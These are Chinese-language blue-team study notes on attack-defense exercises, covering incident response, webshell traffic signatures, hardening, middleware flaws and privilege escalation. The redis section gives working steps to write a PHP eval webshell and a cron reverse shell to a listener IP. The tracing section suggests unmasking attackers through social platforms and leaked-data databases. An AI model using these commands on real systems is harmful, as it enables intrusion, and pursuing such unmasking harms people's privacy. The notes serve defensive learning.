红蓝对抗

蓝队组成

根据演习中角色和分工,有如下情况:

目标系统运营单位:参演单位,负责蓝队整体的组织和指挥。

安全运营团队:负责整体防护工作和攻击监控工作。

攻防专家:负责对监控过程中发现的可疑攻击进行分析研判,指导安全运营团队、软件开发等一些 列相关部门对漏洞进行整改

安全厂商:负责对自身的安全产品的可用性、可靠性和防护监控策略是否合理,进行随时调整。 软件开发商:负责对自身系统安全加固、监控和配合攻防专家对发现的安全问题进行整改。

网络运维团队:负责配合安全专家对网络建构安全、出口整体优化、网络监控、溯源等一些列工作。

云(如有)提供商,负责对自身云系统安全加固,以及对云上系统的安全进行监控同时协助攻防专 家对发现问题进行整改

决战阶段

避免不必要减分情况,提前进行攻击拦截,主动获得各种加分项,及时控制风险。

工作内容:通告处置,封堵封禁,预警监控,分析研判,应急响应,事件上报,策略优化,整改加固

主要的4个团队:

安全运营中心(监控和处置团队):对每个安全警报分类、快速收集关键信息,并根据研判结果进行处 置 研判管理团队:向利益相关者提供证据、建议和意见,确定处理事件的节奏 安全专家团队:参与重要和高优先级事件

威胁狩猎团队:确定事件的根本原因,还原攻击路径 研判是核心,要具备攻防能力,熟悉网络和业务,充分发挥指挥家的作用。向前端,对监控人员发现的 攻击预警进行分析确认;向后端,知道协助处置团队和狩猎团队对攻击进行处置和溯源。

监控团队,尽量要做到全面覆盖,网络边界,内网办公区,应用系统,主机系统要全面布局安全检测手段,尽量多的使用不同监控方式,只要不影响业务,监测手段越多元化越好

处置团队,提高单位时间内的处置效率,最短时间内采取最直接有效的技术手段进行遏制,防止攻击蔓 延。事件处置环节,应该联合网络,系统,应用等等多个岗位人员共同处置

总结:闭环安全风险

总结阶段

经验、教训

整改、完善

溯源

在发现有入侵者后,快速由守转攻,进行精准地溯源反制,收集攻击路径和攻击者身份信息,勾勒出完整的攻击者画像

IP 反查域名
image-20230316184645453 image-20230316184701935
社工

社交平台 支付宝 微信 抖音 github 百度 谷歌 csdn 百度贴吧 社工库

ip定位技术 id追踪术——溯源案例: 利用 id 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息

网站 url:域名Whois 查询注册人姓名、地址、电话和邮箱——溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析3.3.4

常见攻击源

安全设备报警,如扫描 IP、威胁阻断、病毒木马、入侵事件等

日志与流量分析,异常的通讯流量、攻击源与攻击目标等

服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等

邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等

蜜罐系统,获取攻击者行为、意图的相关信息

邮件钓鱼攻击溯源

攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件文件

信息收集: 通过查看邮件原文,获取发送方 IP 地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息

溯源方式:第一种,可以通过相关联的域名/IP 进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒

Web 入侵溯源

攻防场景:攻击者通过 NDAY 和 0DAY 漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了 C&C 域名的通讯

溯源方式:

隔离 webshell 样本,使用 Web 日志还原攻击路径,找到安全漏洞位置进行漏洞修复

从日志可以找到攻击者的 IP 地址,但攻击者一般都会使用代理服务器或匿名网络(例如 Tor)来掩盖其真实的 IP 地址

恶意样本同源分析

提取样本特征、用户名、ID、邮箱、C2 服务器等信息

溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者

蜜罐溯源

攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击

溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP 及社交信息

应急响应

准备 检测 抑制 根除 恢复 跟踪

被攻击/入侵的表现:

网站类型:被篡改,信息丢失,乱码等
文件类型:被篡改,丢失,泄露等
系统类型:系统卡顿,CPU爆满,服务宕机等
流量类型:大量异常数据包,外部连接,网络网速卡顿等
第三方类型:服务异常,运行异常等

事件信息收集:windows-linux-MAC

对外服务情况
开放端口情况
系统版本
网络环境
漏洞情况
软件相关平台信息
口令整理收集
具备的防护情况

事件攻击类型:

WEB:漏洞攻击,综合类型攻击,流量攻击
第三方:数据库,远程软件,服务平台
操纵系统:权限提权,内网渗透,远程漏洞

事件追查: 根据事件的表现选择最佳方法追查与排查

1.日志分析
2.后门分析
3.流量分析
4.脚本软件分析
5.模拟渗透方法分析

没有具体的信息需要全面摸查,通常以下总结的思路排查
1.web漏洞-检查源码类型以及漏洞情况
2.中间件漏洞-检查对应的版本 以及漏洞情况
3.第三方组件应用漏洞-检查使用存在最新的漏洞情况
4.操作系统层面导致漏洞-检查系统版本补丁漏洞情况
5.其他安全问题(弱口令,后门等),使用相关的shell,弱口令检查工具扫描

攻防演练/重保过程中,发生真实攻击,如何应急/流程?

0.(攻击确认)研判分析确定为真实攻击,攻击ip封禁

1.(范围确定)根据安全设备确定受影响资产/主机设备

2.(事件类型)勒索/挖矿/蠕虫/钓鱼/webshell流量/反弹shell/外联/敏感操作

3.(抑制扩散/横向)甲方允许/且对业务不造成重大影响的情况下对已沦陷设备,进行一个断网阻断/或者是不出网的防火墙策略,或是web业务下线

4.(主机排查)根据事件类型上机排查,结束目标/外联/恶意进程,再对目标可能存在的权限维持手段进行排查清除

5.(影响范围)基于hids主机防御系统,查看失陷主机有没有进行一个内网横向渗透阶段,关注同网段主机设备是否存在被攻击/失陷可能

6.(事件分析)基于 流量态势感知ids/主机防御系统 hids(或是web日志,主机日志),找出红方攻击流程,漏洞利用点,漏洞分析/钓鱼邮件分析/恶意程序,攻击时间段,攻击ip,影响范围

7.(修复加固)出具修复/加固方案

8.(输出报告)红方/攻击流程/利用阶段,蓝方应急响应/阻断情况/漏洞分析/修复加固/业务上线

1
ps aux
排查网络连接

netstat -anpt

发现服务器192.168.226.132 一直与恶意IP 192.168.226.131的6666端口连接,并且程序名为:shell.elf PID为11393和15634

image-20230316224819714

根据PID号查找程序位置 lsof -p 11393

image-20230316224957529

查看 shell.elf 文件的创建时间 stat shell.elf

image-20230316225043112

取shell.elf放到微步检测里去跑一跑

image-20230316225135277
排查历史命令

history

image-20230316225421455

在 root账户下排查是否有黑客执行的命令 cd /root cat .bash_history

排查后门账户

查看当前登录系统的用户 who

image-20230316225458458

查看特权账户 awk -F: '$3==0 {print$1}' /etc/passwd

查看可以远程登录的帐号信息 awk '/\$1|\$6/{print $1}' /etc/shadow

查看用户最近登录情况 grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

排查定时任务

查看服务器的定时任务 cd /var/spool/cron cat root

image-20230316230032484

发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件

排查是否有命令被替换

检查命令文件是否被替换

1
2
3
4
5
6
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化

执行命令 rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改

image-20230316231823242 image-20230316231827437

查看ps命令内容 ls -al ps cat ps

ps文件内容被修改成以下内容

1
2
3
4
#!/bin/bash
/centos_core.elf & /.hide_command/ps | grep -v "shell" | grep -v "centos_core" | grep "bash"
#每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件
#grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息
排查安全日志

Linux: /var/log下

/var/log/message   系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure   与安全相关的日志信息
/var/log/maillog   与邮件相关的日志信息
/var/log/cron   与定时任务相关的日志信息
/var/log/spooler   与UUCP和news设备相关的日志信息
/var/log/boot.log   守护进程启动和停止相关的日志消息

查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31

image-20230316232659405

1
cat secure-20220421 | grep Failed
image-20230316232718695
清除后门文件
1
2
rm -rf /root/shell.elf
rm -rf /centos_core.elf

将ps命令删除再将 .hide_command/ps 恢复

1
2
rm -rf /usr/bin/ps
mv /.hide_command/ps /usr/bin/ps

删除后门账户

1
2
vi /etc/passwd
#按dd删除某行
工具查杀

webshell查杀: D盾 百度WEBDIR+ 河马 Sangfor WebShellKill (深信服)

shell查杀: 360星图 ELK Splunk 遇到不同环境,搜索中间件日志或者对应网站的日志位置

总结:人工+工具分析,大的用工具,小的可以人工分析

webshell检测

静态检测:匹配特征码,特征值,危险函数

动态检测:WAF、IDS等设备

日志检测:通过IP访问规律,页面访问规律筛选,文件完整性监控

安全设备

Waf

Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等

宝塔 安全狗

ips 入侵防御系统(IPS一般也是在网络层旁路,可以理解为具备阻断能力的IDS,是IDS的升级版(也有IDS检测到攻击通知阻断设备执行阻断动作的设备联动模式),可以覆盖网络层和应用层)

ids 入侵检测系统(IDS工作在网络层,旁路部署,通过抓取和分析网络流量来发现攻击)(奇安信天眼)

hids 主机入侵检测系统(青藤云设备 奇安信椒图)

安恒的明御apt攻击预警平台

  1. 外部威胁监测
  2. 脆弱性监测
  3. 攻击取证溯源分析
  4. 感知安全威胁趋势规律
  5. 资产发现与管理

(apt攻击:高级长期威胁advanced persistent threat,又称高级持续性威胁、先进持续性威胁等,是指隐匿而持久的电脑入侵过程,通常由某些人员精心策划,针对特定的目标

奇安信天擎终端安全管理系统、奇安信网神态势感知与安全运营平台NGSOC

堡垒机 jumpserver

身份验证 Authentication

账号管理 Account

授权控制 Authorization

安全审计 Audit

针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理、单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能

蜜罐: 微步的Hfish

防守策略

策略收紧常态化

联系现有设备的厂商将现有的安全设备策略进行调整,将访问控制策略收紧,数据库、系统组件等进行加固

减少攻击暴露面

暴露在互联网上的资产,并于能在互联网中查到的现网信息进行清除

各种口令复杂化

不论是操作系统、业务入口,还是数据库、中间件,甚至于主机,凡是需要口令认证的都将口令复杂化设置

核心业务白名单

将核心业务系统及重要业务系统做好初始化的工作,记录业务正常产生的流量,实施白名单策略

主机系统打补丁

对业务系统做基线核查,将不符合标准的项进行整改,并对业务系统做漏洞检查,并对找出的脆弱想进行整改

image-20230317214638041

常用shell工具及流量特征

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码
shell 特征就是存在eval base64等特征字符,传输参数名为 z0,存在一段以QG开头,7J结尾的固定base64代码。还存在int_set("display_errors","0")字符串特征

蚁剑

默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和菜刀一样的代码

数据中含有@ini_set("display_errors", "0");@set_time_limit(0); header中含有antsword字眼

第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息
第二次请求,会把主机目录列出来

冰蝎

冰蝎2.0

使用 aes 加密发起三次请求
第一次请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的
第二次请求是为了获取 key,第三次使用 key 的 aes 加密进行通信

冰蝎3.0

使用 aes 加密发起两次请求
3.0 相比 2.0 少了动态密钥的获取的请求,不再使用随机生成 key, 改为取连接密码的md5加密值的前16位作为密钥
一次请求为判断是否可以建立连接,少了两次get获取冰蝎动态密钥的行为,第二次发送phpinfo等代码执行,获取网站的信息

cookie中带JSESSIONID和path=/ ,请求包中的conten-length字段是5740或者5720

哥斯拉

支持 n 种加密
采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接

在响应包的cache-control字段中有no-store,no-cache等特征

所有请求中的cookie字段最后面都存在;特征

哥斯拉在执行命令的过程中存在三个组合的父子进程,也可以类似冰蝎一样检测恶意进程

内网

内网渗透思路

  1. 代理穿透
  2. 权限维持
  3. 内网信息收集
  4. 口令爆破
  5. 凭据窃取
  6. 社工
  7. 横行和纵向渗透
  8. 拿下域控

查看域信息

1
2
3
4
ipconfig /all                        //查询一下本机的一些情况,IP段 网关 属于不属于域
nei view /domain //查询有几个域, 查询域列表
net group /domain //获得所有域用户组列表
net user /domain //获得所有域用户列表

系统加固

账户安全

1
2
3
4
5
6
7
8
windows
设置登录时不显示上次登录的用户名,防止弱口令爆破
设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间
linux
禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁
限制普通用户使用sudo提权,或者说限制提权的权限大小
锁定系统中多余的自建账号
设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户

口令安全

1
2
3
4
5
windows
设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
设置最小密码长度不能为0,设置不能使用历史密码
linux
检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令

服务与端口收敛

关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)

compmgmt.msc排查计划任务

linux上iptables封禁IP或者限制端口

文件权限管理

linux上chmod修改文件权限

chattr重要文件设置不可修改权限

系统日志审计

linux上设置系统日志策略配置文件

系统日志 /var/log/message

cron日志/var/log/cron

安全日志/var/log/secure

设备和网络控制

比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP

删除默认路由配置,避免利用默认路由探测网络

禁止使用USB设备比如U盘

禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器

内存马

内存马原理

我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码

内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器

内存马如何查杀

重启/关机,内存马就掉了

常见的框架漏洞

log4j远程代码执行漏洞

原理:

Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。

具体操作:

在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

Fastjson反序列化漏洞

判断:

正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断

原理:

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题

无回显怎么办:

1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果

2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了

3.直接将命令执行结果回显到请求poc的HTTP响应中

Shiro反序列化漏洞

原理:

Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码

判断:

1.数据返回包中包含rememberMe=deleteMe字段

2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:rememberMe=然后查看返回数据包中是否存在关键字

shiro-550:

shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。

shiro-721:

不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember

中间件

IIS

IIS6 解析漏洞

基于文件名,该版本默认会将 .asp;.jpg 此种格式的文件名,当成asp解析,原理是*服务器默认不解析 ; 号及其后面的内容**,相当于截断

防护

  1. 限制上传目录执行权限,不允许执行脚本
  2. 不允许新建目录
  3. 上传的文件需经过重命名时间戳 + 随机数 + .jpg 等

Apache

AddHandler导致的解析漏洞, 如果运维人员给 .php 后缀增加了处理器

1
AddHandler application/x-httpd-php.php 

那么,在有多个后缀的情况下,只要一个文件名中含有 .php 后缀,即被识别成PHP文件,没必要是最后一个后缀
防护同上 IIS6

目录穿越漏洞

Nginx

配置文件错误导致的解析漏洞

  1. 可以直接获取诸如 index.php~ index.php.bak 等文件

  2. 对于任意文件名,在后面添加 /xxx.php(xxx为任意字符)后,即可将文件作为php解析

    1
    https://xxxxxx/a.png/a.php

防护

  1. 匹配对应文件,rewrite返回404
  2. 配置 cgi.fix_pathinfo(php.ini中) 为0并重启 php-cgi 程序

Tomcat

Tomcat 任意文件写入(CVE-2017-12615)

windows+Tomcat 7.0.x+配置文件readonly=false,导致我们可以往服务器写文件

Weblogic

任意文件上传漏洞(CVE-2018-2894)

通过截获上传的时间戳找出真正的文件名达到 poc

JBOSS

反序列化

提权

Linux提权

  1. Linux内核漏洞提权 脏牛Dirty COW Linux 内核2.6.22 – 3.9 (x86/x64)

  2. SUID提权(普通用户执行指令的标记)

    1
    find / -perm -u=s -type f 2>/dev/null

    查找SUID为root的指令

  3. 定时任务提权

  4. 环境变量劫持高权限程序

  5. sudoer(用户组)配置文件错误提权

  6. pkexec 本地权限提升漏洞(CVE-2021-4034)

  7. NFS提权

  8. Docker提权

端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
21 ftp        ftp的端口号20、21的区别一个是数据端口,一个是控制端口,控制端口一般为21
69 TFTP (简单文件传输协议)
22 SSH
23 Telnet
80 web
80-89 web
443 https SSL心脏滴血
445 SMB ms17-010永恒之蓝
873 Rsync未授权
1433 MSSQL
1521 Oracle
3306 MySQL
3389 远程桌面
5432 PostgreSQL
5900 vnc 目前常用的协议有VNC/SPICE/RDP三种 、小巧,支持客户端和服务器端的直接拷贝粘贴,缺点:速度最慢
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,默认端口是8080
在windows系统中:
1098、1099、4444、4445、8083端口在/jboss/server/default/conf/jboss-service.xml中
8080端口在/jboss/server/default/deploy/jboss-web.deployer/server.xml中
8093端口在/jboss/server/default/deploy/jms/uil2-service.xml中
8000-9090 都是一些常见的web端口
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50070,50030 hadoop默认端口未授权访问

161 SNMP
389 LDAP
512,513,514 Rexec
1025,111 NFS
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3312/3311 kangle主机管理系统登陆
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
7778 Kloxo主机控制面板登录
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
50000 SAP命令执行

如何检测挖矿病毒

检查数据包中 tcp 连接的传递载荷,如果存在连续几个数据包中都符合 stratum 协议的 json 载荷特征,那么主机就存在挖矿

1、通过流量层面找到挖矿主机

  • 协议特征检测:挖矿协议具有特定的数据包类型,大概分成了两类,一类是登录包,一类是提交包,并且这两种包也有明显的特点;
  • 文件检测:流量中还原文件,进行沙箱检测;
  • 主机异常网络行为:攻击者为了实现利益最大化,感染的主机会开始横向移动攻击,如内网扫描、爆破等行为,从而感染更多的机器;
  • 通过协议检测,只能覆盖明文通信的情况,但目前绝大多数矿池都支持了加密通信,所以能够在握手协议和证书两个层面来做一些事情。另外由于挖矿的特殊性,矿池的域名、证书是不会轻易进行变化的,并且矿池的具有聚集属性,即越大的矿池集合到的矿机越多,越能够保证收益的稳定性。所以也可以针对排名较为靠前的矿池进行域名和证书的收集,添加针对性的检测策略;

2、通过主机层面判断挖矿主机

  • 感染主机后有明显的行为特征,主要包括高CPU 和 GPU 使用率、响应速度慢、 崩溃或频繁重新启动、系统过热、异常网络活动(比如连接挖矿相关的域名或 IP)
  • 主机层面的检测一般会从进程特征,网络连接,文件特征等多个维度进行检测

3、威胁情报

通常活跃的挖矿木马都是有明显的家族特征和几个固定版本,可以通过威胁情报关联检测

redis未授权访问

redis是非关系型数据库,默认端口6379

利用手段主要有:

1.向root权限账户写入ssh公钥文件,直接免密登录服务器 (受害者redis非root权限运行会报错)

1
2
3
4
条件:
服务器存在.ssh目录且具有写入的权限 (redis可以创建文件但无法创建目录,所以redis待写入文件所在的目录必须事先存在。 .ssh目录默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
原理:
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

2.写入webshell

1
2
3
4
5
6
7
8
9
10
11
12
条件: 已知web绝对路径
步骤:
1. redis -cli -h 192.168.x.x 连接目标服务器
2. config set dir "/var/www/html" 设置保存文件路径
3. config set dbfilename shell.php 设置保存文件名
4. set x "\n\n<?php @eval($_POST['cmd']); ?>\n" 将webshell写入x键值中
5. save 保存
局限:
1.服务器处于内网,写入webshell后我们的公网IP无法连接
2.服务器IP地址不固定
3.6379端口不允许入方向
4.上传webshell可能直接被杀毒软件删除

3.定时任务反弹shell

1
2
3
4
5
6
步骤:
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令
(1) config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
(2) config set dbfilename root //设置保存文件名
(3)set x "\n * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n" //将反弹shell写入x键值中
(4)save //保存

利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制

理由如下:

1
2
3
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-----才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同

4.主从复制getshell

1
2
3
4
5
6
7
8
原理:
数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力

条件: 版本(4.x~5.0.5)
利用工具: RedisRogueServer 地址:https://github.com/n0b0dyCN/redis-rogue-server
使用工具的命令: python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
两种使用方法: 交互式 反弹式
限制: 利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用

redis未授权访问漏洞的防范措施:

1
2
3
4
1.添加登录密码
2.修改默认端口
3.关闭端口
4.禁止以root用户权限启动,以低权限启动redis服务

xss和csrf

XSS:跨站脚本攻击(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言

1
2
3
a. 反射型:发出请求时,XSS代码出现在url中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫反射型XSS
b.存储型:存储型XSS和反射型XSS的差别在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求时目标页面时不用再提交XSS代码
c.DOM型:DOM型xss和别的xss最大的区别就是它不经过服务器,仅仅是通过网页本身的JavaScript进行渲染触发的,单纯的在前端解析,没有经过后端,属于前端自身的安全漏洞

防御:

1
2
3
4
5
6
1.在表单提交或者url参数传递前,对需要的参数进行过滤
2.对字符实体进行转义
htmlspecialchars() 函数,用于转义处理在页面上显示的文本
strip_tags() 函数,过滤掉输入、输出里面的恶意标签
3.httponly(禁止JavaScript读取Cookie值,不过在用户与服务端交互的时候,HttpRequest包中仍然会带上这个Cookie信息, 即用户与服务端的正常交互不受影响)
4.浏览器与Web应用端采用相同的字符编码

CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法

(1)登录受信任网站A,并在本地生成Cookie(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)
(2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)
注意cookie保证了用户可以处于登录状态,但网站B其实拿不到cookie

防御:

1
2
3
4
httponly
token验证
Referer验证:只有是本站的请求,服务器才做响应,如果不是就拦截
再次输入密码
区别

1、CSRF是跨站请求伪造; XSS是跨域脚本攻击
2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录
3、CSRF是利用网站A本身的漏洞, 去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求

4、CSRF攻击的范围有限,仅限于用户可以执行的操作,例如点击恶意链接或访问黑客的网站。相反,XSS攻击提供执行恶意脚本来执行攻击者所选择的任何活动,从而扩大了攻击的范围。

5、在XSS攻击中,恶意代码存储在站点中,而在CSRF攻击中,恶意代码存储在受害用户访问的第三方站点中

SSRF是服务器对用户提供的可控URL地址过于信任,没有经过严格检测,导致攻击者可以以此为跳板攻击内网或其他服务器

xxe

http file协议